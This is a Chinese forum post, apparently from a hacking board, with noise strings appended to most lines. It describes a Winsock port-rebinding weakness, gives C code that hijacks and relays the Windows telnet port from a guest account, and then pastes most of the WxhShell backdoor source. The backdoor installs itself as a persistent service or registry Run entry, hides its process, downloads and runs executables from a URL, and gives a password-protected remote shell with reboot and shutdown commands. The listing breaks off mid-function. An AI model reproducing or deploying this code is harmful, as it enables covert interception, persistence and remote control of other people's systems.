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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xl6ZV,1=n7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BJxm W's/  
x[W]?`W3r~  
  saddr.sin_family = AF_INET; E)wT+\  
h_G|.7!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s4`*0_n  
X]MM7hMuR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ({ kGK0  
u6I0<i_KZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X1[R*a/p  
;To+,`?E;q  
  这意味着什么?意味着可以进行如下的攻击: NvHy'  
{_ho!OS>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #'Y6UGJ\n  
[I<'E LX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {R!TUQ5  
`[` *@O(y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 40d9/$uzh  
1fhK{9#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H&=4y) /.  
RyQ\5^z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M(WOxZ8  
oy2dA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~K#_'Ldrd  
YSz$` 7i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p9}c6{Wp  
2td|8vDA  
  #include 2X;0z$  
  #include 'j<:FUDJ  
  #include b:5%}  
  #include    V?V)&y] 4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9Glfi@.  
  int main() 9q)nNX<$)  
  { tTh;.88Z{  
  WORD wVersionRequested; 9k+&fyy  
  DWORD ret; qTa]th;  
  WSADATA wsaData; m57tO X  
  BOOL val; nK%/tdq  
  SOCKADDR_IN saddr; %)hIpxOrX  
  SOCKADDR_IN scaddr; CbH T #  
  int err; {{[jC"4AY  
  SOCKET s; a. `JS  
  SOCKET sc; Q~Sv2  
  int caddsize; =.f +}y  
  HANDLE mt; 'oHOFH9:{b  
  DWORD tid;   am'p^Z @  
  wVersionRequested = MAKEWORD( 2, 2 ); Zc\h15+P  
  err = WSAStartup( wVersionRequested, &wsaData ); 6=g]Y!o$  
  if ( err != 0 ) { #9hXZr/8  
  printf("error!WSAStartup failed!\n"); L3=YlX`UL  
  return -1; ,ORG"]_F  
  } gC_s\WU  
  saddr.sin_family = AF_INET; 23\j1?  
   Xm^h5jAr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7ru9dg1?  
vrm{Ql&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Va/@#=,q]  
  saddr.sin_port = htons(23); Rqb{)L X*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sv ~1XL W  
  { 1l|A[ G  
  printf("error!socket failed!\n"); qJFgbq4-  
  return -1; jQ_|z@OV  
  } mb~=Xyk&  
  val = TRUE; d0}%%T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ofPF}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u5{5ts+:  
  { +%le/Pg@  
  printf("error!setsockopt failed!\n"); kO,VayjT  
  return -1; /!{A=N  
  } }KaCf,O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O2'bNR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :9x084ESR)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8W1K3[Jj<  
Z*)y.i`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BudWbZ5>Ep  
  { XEUa  
  ret=GetLastError(); -|k&L}\OB0  
  printf("error!bind failed!\n"); J^g,jBk  
  return -1; 1 ~B<  
  } q(jkit~`A  
  listen(s,2); 6Bq~\b^  
  while(1) M]4=(Vv+5  
  { 0x>/6 <<  
  caddsize = sizeof(scaddr); i>]<*w  
  //接受连接请求 VT5cxB<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8=n9hLhqo  
  if(sc!=INVALID_SOCKET) ni"$[8U  
  { >TlW]st  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :p\(y  
  if(mt==NULL) kY'<u  
  { i!1ho T$  
  printf("Thread Creat Failed!\n"); y} $ P,  
  break; ?x5wS$^q<  
  } 6=G~6Qu  
  } zldfRo\wl  
  CloseHandle(mt); .0Iun+nUD  
  } mX<Fuu}E*Z  
  closesocket(s); O2`oe4."vd  
  WSACleanup(); I+Ncmg )>  
  return 0; >op:0on]}  
  }   qLQ <1>u  
  DWORD WINAPI ClientThread(LPVOID lpParam) (b/A|hl  
  { M1/M}~  
  SOCKET ss = (SOCKET)lpParam; nOAJ9  
  SOCKET sc; 2qs>Bshf  
  unsigned char buf[4096]; Ci7P%]9  
  SOCKADDR_IN saddr; i}/e}s<-6  
  long num; %1-K);S J  
  DWORD val; sJ))<,e5I  
  DWORD ret; 3d*&':  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v"P&` 1=T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   74@lo-/LY  
  saddr.sin_family = AF_INET; JmU<y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *#&k+{a^2  
  saddr.sin_port = htons(23); > 63)z I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \)OZUch  
  { gk!E$NyE  
  printf("error!socket failed!\n"); z-EwXE  
  return -1; Y7<zm}=(/  
  } YSR mt/  
  val = 100; hp bwZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?S (im  
  { @s_3 0+  
  ret = GetLastError(); ?QCmSK=L  
  return -1; o!aLZ3#X  
  } J>rka]*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :J^qjAV  
  { 6g5PM4\  
  ret = GetLastError(); v,/[&ASz  
  return -1; A /q2g7My  
  } @ Ii-NmOr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ye9Y^+-  
  { Tbv/wJ  
  printf("error!socket connect failed!\n"); _f cS>/<a  
  closesocket(sc); "-w ^D!C  
  closesocket(ss); `NBbTQtgO  
  return -1; 1HMUHZT  
  } 6iG(C.b  
  while(1) o^3FL||P#r  
  { 6X/wd k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0,HqE='w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F\a]n^ Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QE|`&~sme  
  num = recv(ss,buf,4096,0); g>so R&*  
  if(num>0) w/ TKRCO3  
  send(sc,buf,num,0); i+g~ Uj}h  
  else if(num==0) {m[s<A(  
  break; tR kF   
  num = recv(sc,buf,4096,0); ;HDZ+B  
  if(num>0) zj<ahg%z  
  send(ss,buf,num,0); KU-'+k2s;p  
  else if(num==0) j~bAbOX12  
  break; i3#'*7f%j  
  } r'/\HWNP  
  closesocket(ss);  EIr@g  
  closesocket(sc); o\Uu?.-<  
  return 0 ; tJNIr5o  
  } Gav"C{G  
Gqb])gXpl  
MaO"#{i  
========================================================== ow$q7uf  
OF[?Z  
下边附上一个代码,,WXhSHELL "+)K |9T#  
HTV ~?E  
========================================================== `H>b5  
DECB*9O ^  
#include "stdafx.h" ks*Y9D*=  
<:&de8bT  
#include <stdio.h> yEq#Dr  
#include <string.h> OR:[J5M)  
#include <windows.h> [:iv4>ZZ  
#include <winsock2.h> p~&BChBl!=  
#include <winsvc.h> ` J]xP$)  
#include <urlmon.h> 54{q.I@n  
03k?:D+5  
#pragma comment (lib, "Ws2_32.lib") w7FoL  
#pragma comment (lib, "urlmon.lib") T dk ,&8  
ySe$4deJ  
#define MAX_USER   100 // 最大客户端连接数 0w %[  
#define BUF_SOCK   200 // sock buffer \=;uu_v$  
#define KEY_BUFF   255 // 输入 buffer I9Eu',  
(&[[46  
#define REBOOT     0   // 重启 Dzl;-]S  
#define SHUTDOWN   1   // 关机 2#vv$YD  
a^t?vv  
#define DEF_PORT   5000 // 监听端口 ~=En +J}*  
WA6!+Gy  
#define REG_LEN     16   // 注册表键长度 e$e#NoN  
#define SVC_LEN     80   // NT服务名长度 ,lt8O.h-l  
}^-<k0A4?  
// 从dll定义API =WG=C1Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ff e1lw%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,qQG;w,m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9MY7a=5E~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kM/Te{<  
%0,-.(h  
// wxhshell配置信息 ^e Gue  
struct WSCFG { ]]0,|My7  
  int ws_port;         // 监听端口 X[](Kj^`<  
  char ws_passstr[REG_LEN]; // 口令 *|% ^0#$c  
  int ws_autoins;       // 安装标记, 1=yes 0=no P[ r];e  
  char ws_regname[REG_LEN]; // 注册表键名 ?F7o!B  
  char ws_svcname[REG_LEN]; // 服务名 t<j^q`;@v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'zZcn" +!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I.'b'-^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HYK!}&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p|+B3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K_/zuTy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2xwlKmI N  
"TcW4U9  
}; /) 4GSC}Gg  
B,WTHU[AV  
// default Wxhshell configuration tK(g-u0N`(  
struct WSCFG wscfg={DEF_PORT, 6w[}&pX"z  
    "xuhuanlingzhe", o|BP$P8V  
    1, Iu@y(wyg  
    "Wxhshell", E.`U`L  
    "Wxhshell", N|g;W  
            "WxhShell Service", #R0A= !  
    "Wrsky Windows CmdShell Service", ~EzaC?fQ  
    "Please Input Your Password: ", .|qK +Hnc  
  1, mmXm\]r>4  
  "http://www.wrsky.com/wxhshell.exe", 'XrRhF (  
  "Wxhshell.exe" ;Q;[*B=kE  
    }; LhXUm  
lv&mp0V+  
// 消息定义模块 Yap?^&GV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4+$b~ u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N==ZtKj F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &,\=3 '  
char *msg_ws_ext="\n\rExit."; iD38\XNMV  
char *msg_ws_end="\n\rQuit."; '_\;jFAM  
char *msg_ws_boot="\n\rReboot..."; $rF=_D6  
char *msg_ws_poff="\n\rShutdown..."; j(:I7%3&(*  
char *msg_ws_down="\n\rSave to "; 'ly?P8h  
D_mL,w  
char *msg_ws_err="\n\rErr!"; O,bkQY$v  
char *msg_ws_ok="\n\rOK!"; DZ7 gcC  
fKC3-zm  
char ExeFile[MAX_PATH]; 9Jf)!o8  
int nUser = 0; Migd(uw'  
HANDLE handles[MAX_USER]; `1*nL,i  
int OsIsNt; n<sd!xmqFx  
&6 s) X  
SERVICE_STATUS       serviceStatus; ?"#%SKm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tM-^<V&  
7(M(7}EKA  
// 函数声明 7]xm2CHx5  
int Install(void); X"gCR n%tn  
int Uninstall(void); fkSO( C)  
int DownloadFile(char *sURL, SOCKET wsh); 8dD2  
int Boot(int flag); ;*ix~taL%  
void HideProc(void); b*a2,MiM  
int GetOsVer(void); 2sNK  
int Wxhshell(SOCKET wsl); dkgSvi :!  
void TalkWithClient(void *cs); G22NQ~w8  
int CmdShell(SOCKET sock); fO'Wj`&a  
int StartFromService(void); @`tXKP$so  
int StartWxhshell(LPSTR lpCmdLine); y@2epY?{  
HEL!GC>#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gBT2)2]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CQel3Jtt.  
7Dnp'*H  
// 数据结构和表定义 /@AEJ][$  
SERVICE_TABLE_ENTRY DispatchTable[] = PB%-9C0  
{ +*\X]06  
{wscfg.ws_svcname, NTServiceMain}, P%)gO  
{NULL, NULL} AL$&|=C-$  
}; D7Y)?Z5A;  
XwV'Ha  
// 自我安装 DD" $1o"  
int Install(void) V f-a'K&  
{ QL6C,#6  
  char svExeFile[MAX_PATH]; 1@u2im-O  
  HKEY key; ,q(&)L$S  
  strcpy(svExeFile,ExeFile); A:(*y 2  
>!_Xgw  
// 如果是win9x系统,修改注册表设为自启动 Z/rP"|EuQ  
if(!OsIsNt) { | mu+9   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BCe_@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?#yV3h|Ij  
  RegCloseKey(key); ikE<=:pe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \!]Ua.e<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # :T-hRu  
  RegCloseKey(key); hhoEb(BA  
  return 0; VqL.iZ-  
    } .]aF 1}AI  
  } eZ"1gYqy  
} As+t##gN  
else { T~h5B(J;  
'`1CBU$  
// 如果是NT以上系统,安装为系统服务 4v[~r1!V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CK, 6ytB  
if (schSCManager!=0) eNiaM6(J  
{ -W,}rcj*|  
  SC_HANDLE schService = CreateService N'xSG`,Mg  
  ( oD}uOC}FS{  
  schSCManager, `9k0Gd  
  wscfg.ws_svcname, fDx9iHGv  
  wscfg.ws_svcdisp, r>GZ58i  
  SERVICE_ALL_ACCESS, t>8XTqqi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !mXxAo  
  SERVICE_AUTO_START, ?eV4 SH  
  SERVICE_ERROR_NORMAL, )Ud-}* g  
  svExeFile, /%lZu^  
  NULL, p&VU0[LIC0  
  NULL, t4?DpE  
  NULL, Ts~L:3oaQ  
  NULL, RCRpzY+@  
  NULL G\NPV'  
  ); lsN~*q?~]  
  if (schService!=0) u4Em%:Xj  
  { |p$spQ  
  CloseServiceHandle(schService); q&:=<+2"  
  CloseServiceHandle(schSCManager); l7De6A"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xeGb?DPu  
  strcat(svExeFile,wscfg.ws_svcname); C* nB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OzC\9YeA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J*9$;  
  RegCloseKey(key); %/updw#{B  
  return 0; wj[$9UJb  
    } svXR<7) #  
  } ;2Q~0a|  
  CloseServiceHandle(schSCManager); dK>7fy;mv  
} Fv<`AU  
} =/\:>+p^.y  
Ie%EH  
return 1; 'w1YFdW  
} SM@QUAXO  
:_QCfH  
// 自我卸载 $ /nY5[  
int Uninstall(void) >3&O::]3  
{ Zdn~`Q{  
  HKEY key; jv&!Kw.Ug  
H*9~yT' Q  
if(!OsIsNt) { /a6Xa&(B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "*})3['n  
  RegDeleteValue(key,wscfg.ws_regname); IT$25ZF  
  RegCloseKey(key); yV^s,P1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zkf0p9h\  
  RegDeleteValue(key,wscfg.ws_regname); 6S~sVUL9`  
  RegCloseKey(key); SB)5@ nmS  
  return 0; h>Hb `G<  
  } Qqlup  
} xp Og8u5  
} $HJwb-I  
else { @/ k@WhFZ  
KgR<E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <mAhr  
if (schSCManager!=0) NB<A>baL*  
{ "U7qo}`I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \_B[{e7z  
  if (schService!=0) ^+g$iM[`f  
  { cH>%r^G\  
  if(DeleteService(schService)!=0) { L5,NP5RC  
  CloseServiceHandle(schService); Q f@  
  CloseServiceHandle(schSCManager); AFAAuFE"  
  return 0; \<g*8?yFs  
  } M|R b&6O  
  CloseServiceHandle(schService); ttu&@ =  
  } 4R\ Hpt  
  CloseServiceHandle(schSCManager); 1/"WD?a  
} AnT3M.>ek  
} GI&h`X5,e  
^#sU*trr  
return 1; 6R^^.tCs  
} pxa(  
V5rS T +  
// 从指定url下载文件 ?Ec7" hK  
int DownloadFile(char *sURL, SOCKET wsh) /bVoErf  
{ D gaMO,  
  HRESULT hr; CvD "sHVq%  
char seps[]= "/"; vuYSVI2=H  
char *token; )-. _FOZ6  
char *file; GP#aya  
char myURL[MAX_PATH]; )KAEt.  
char myFILE[MAX_PATH]; 9th,VnD0  
VzVc37 Z>6  
strcpy(myURL,sURL); }B1!gz$YNO  
  token=strtok(myURL,seps); 8Q'0h m?  
  while(token!=NULL) 1 9CK+;b  
  { w.TuoWo>  
    file=token; FIsyiSY<j  
  token=strtok(NULL,seps); hr)B[<9  
  } a8UwhjFO  
;-qO'V:;  
GetCurrentDirectory(MAX_PATH,myFILE); ;4pYK@9w_  
strcat(myFILE, "\\"); 55fC~J<  
strcat(myFILE, file); y9Usn8  
  send(wsh,myFILE,strlen(myFILE),0); sdo [D  
send(wsh,"...",3,0); AQwdw>I-FX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rQ qW_t%  
  if(hr==S_OK) Nb'''W-iu  
return 0; AnX%[W "  
else 2V#>)R#k  
return 1; W*I(f]8:y`  
BNs@n"k  
} D1=((`v '  
=D<PVGo9  
// 系统电源模块 c$yk s  
int Boot(int flag)  ^0 \  
{ 7x%R:^*4  
  HANDLE hToken; P&^;656r  
  TOKEN_PRIVILEGES tkp; :BV6y|J9O^  
dx@-/^.  
  if(OsIsNt) { %#xaA'? [  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x5-}h*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `M^= D&Bf  
    tkp.PrivilegeCount = 1; E;R n`oxk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Bd-!$j+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lrIjJ V  
if(flag==REBOOT) { 7E79-r&n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Eu@huN*/  
  return 0; 8&qZ0GLaT  
} &keR~~/  
else {  :7]Sa`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $m-2Hh qZ  
  return 0; A#J`;5!Sc  
} UKT%13CO4U  
  } =k^Y?.  
  else { D!Pq4'd(  
if(flag==REBOOT) { zv\kPfGDK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `n @*{J8  
  return 0; QLiu2U o  
} n%o5kVx0  
else { B][U4WJ)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E%,^Yvh/  
  return 0; BMG3|N^  
} VyXhl;  
} ?kH8Lw~{5W  
-~v2BN/  
return 1; c]n1':FT"  
} ] [+#;avU  
PGhY>$q>b  
// win9x进程隐藏模块 d\|?-hY`[  
void HideProc(void) 2a`o &S  
{ <66X Xh.  
(3 Two}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :toh0oB[  
  if ( hKernel != NULL ) 1Z+8r  
  {  #~2%)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >,$_| C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wnEyl[ac  
    FreeLibrary(hKernel); ORHp$Un~)  
  } w[zjerH3  
e.7EU  
return; [65 `$x-  
} hKLCJ#T  
@"Fme-~  
// 获取操作系统版本 ODNM+#}`  
int GetOsVer(void) *`ua'"="k  
{ ;g5m0l5  
  OSVERSIONINFO winfo; ; >hNt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QwJV S(Gs4  
  GetVersionEx(&winfo); f_jo+z{-ik  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fTS5 yb%  
  return 1; }Jy8.<Gd^  
  else K6v6ynp/  
  return 0; 8<S~Z:JK  
} (C-{B[Y  
nm5cpnNl  
// 客户端句柄模块 rb5~XnJk  
int Wxhshell(SOCKET wsl) 8_BV:o9kL  
{ TN!j13,  
  SOCKET wsh; s C%&cRQD  
  struct sockaddr_in client; @5=oeOg36  
  DWORD myID; 591>rh)  
^ =bu(L  
  while(nUser<MAX_USER) bv]`!g: C  
{ E4`N-3  
  int nSize=sizeof(client); jSh5!6O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vwg|K|  
  if(wsh==INVALID_SOCKET) return 1; qON|4+~u%  
s @&`f{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kO.%9wFbz  
if(handles[nUser]==0) AK,J7  
  closesocket(wsh); b#uL?f  
else Bn=by{i  
  nUser++; \\PjKAsh  
  } }iXDa?6%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eJF5n#  
] bM)t<  
  return 0; ?]|\4]zV  
} bU>U14ix<  
iEVb"w0 59  
// 关闭 socket E ]A#Uy  
void CloseIt(SOCKET wsh) _X^1IaL  
{ `slL %j^"  
closesocket(wsh); ]e"=$2d$  
nUser--; nW PF6V>  
ExitThread(0); CY 4gSe?  
} 3QV*%  
04LI]'  
// 客户端请求句柄 *rM^;4Zt  
void TalkWithClient(void *cs) ;kFDMuuO  
{ (yu/l 6[  
)JDs\fUE  
  SOCKET wsh=(SOCKET)cs; ~ZmN44?R  
  char pwd[SVC_LEN]; #X%~B'  
  char cmd[KEY_BUFF]; b(*!$EB  
char chr[1]; 6_J$UBT  
int i,j; fV &KM*W*@  
@)UZ@ ~R  
  while (nUser < MAX_USER) { 6.CbAi3Z  
WQ~;;.v#  
if(wscfg.ws_passstr) { t9,\Hdo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (n*^4@"2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )_+rU|We  
  //ZeroMemory(pwd,KEY_BUFF); X^T:8npxt  
      i=0; j|4<i9^}  
  while(i<SVC_LEN) { %z /hf  
T_s _p  
  // 设置超时 j5K]CTz#  
  fd_set FdRead; S/}2;\Xm  
  struct timeval TimeOut; Lrta/SU*  
  FD_ZERO(&FdRead); -l`f)0{  
  FD_SET(wsh,&FdRead); `Bo*{}E  
  TimeOut.tv_sec=8; Of- Rx/  
  TimeOut.tv_usec=0; TlXI|3Ip  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kY&k-K\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^"VJd[Hn  
1 9&<|qTz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "w^!/  
  pwd=chr[0]; )jU)_To  
  if(chr[0]==0xd || chr[0]==0xa) { {J{+FFsr(  
  pwd=0; _4rFEYz$d  
  break; qS403+Su1=  
  } qmnZAk  
  i++; CUO+9X-<8  
    } kjW+QT?T&  
iWei  
  // 如果是非法用户,关闭 socket O*eby*%h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &)8:h+&Z  
} ZRv*!n(Ug<  
Usr@uI#{J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2VF%@p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qd9cI&  
?5U2D%t  
while(1) { ,R'@%,/  
~J5+i9T.)  
  ZeroMemory(cmd,KEY_BUFF); |M>eEE*F<  
`k=bL"T>\  
      // 自动支持客户端 telnet标准    :l~ I  
  j=0; {s)+R[?m<o  
  while(j<KEY_BUFF) { nIAx2dh?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BHd&yIyI  
  cmd[j]=chr[0]; _9faBrzd  
  if(chr[0]==0xa || chr[0]==0xd) { ZtV9&rd7  
  cmd[j]=0; sC27FVwo  
  break; e`@ # *}A  
  } .clP#r{U  
  j++; ?f#y1m  
    } 9!f/aI  
ICuF %  
  // 下载文件 wi hH?~]  
  if(strstr(cmd,"http://")) { UQ8M~x5$3%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m*ISa(#(,  
  if(DownloadFile(cmd,wsh)) 'HT7_$?*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8j Mk)-  
  else E_Im^a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &/mA7Vf>eR  
  } -c(F1l  
  else { ^=C{.{n  
y@ ML/9X8q  
    switch(cmd[0]) { 0rh]]kj  
  SLO%7%>p  
  // 帮助 0="%Y ^N  
  case '?': { Ol1e/Wv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (]b!{kS  
    break; c05TsMF&O  
  } Z= jr-)kK  
  // 安装 g1XZ5P} f  
  case 'i': { :r%P.60H X  
    if(Install()) ipQLK{]t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W"):-Wq  
    else X'%E\/~u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {88)~  
    break; OTC!wI g  
    } '#s05hr  
  // 卸载 ^m?KRm2  
  case 'r': { &F\?  
    if(Uninstall()) MG[o%I96  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~3WM5 fv  
    else p+l!6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ge,;8N88  
    break; )A!>=2M `  
    } ^ s1Q*He  
  // 显示 wxhshell 所在路径 *_R]*o!W'  
  case 'p': { n,=VQ Ou  
    char svExeFile[MAX_PATH]; WtViW=j'  
    strcpy(svExeFile,"\n\r"); k9$K}  
      strcat(svExeFile,ExeFile); h]og*(  
        send(wsh,svExeFile,strlen(svExeFile),0); C3< m7h  
    break; x\F,SEj  
    } kjEEuEv  
  // 重启 !lEY=1nHOJ  
  case 'b': { .7i` (F)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ktj]:rCkF  
    if(Boot(REBOOT)) MxSM@3v(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A:aE|v/T&  
    else { #?q&r_@@  
    closesocket(wsh); ^\\Tx*#i  
    ExitThread(0); b'J'F;zh>  
    } JAAI_gSR3  
    break; !O-C,uSm  
    } _{R=B8Zz\  
  // 关机 `VKf3&|<A  
  case 'd': { \]P!.}nX#  
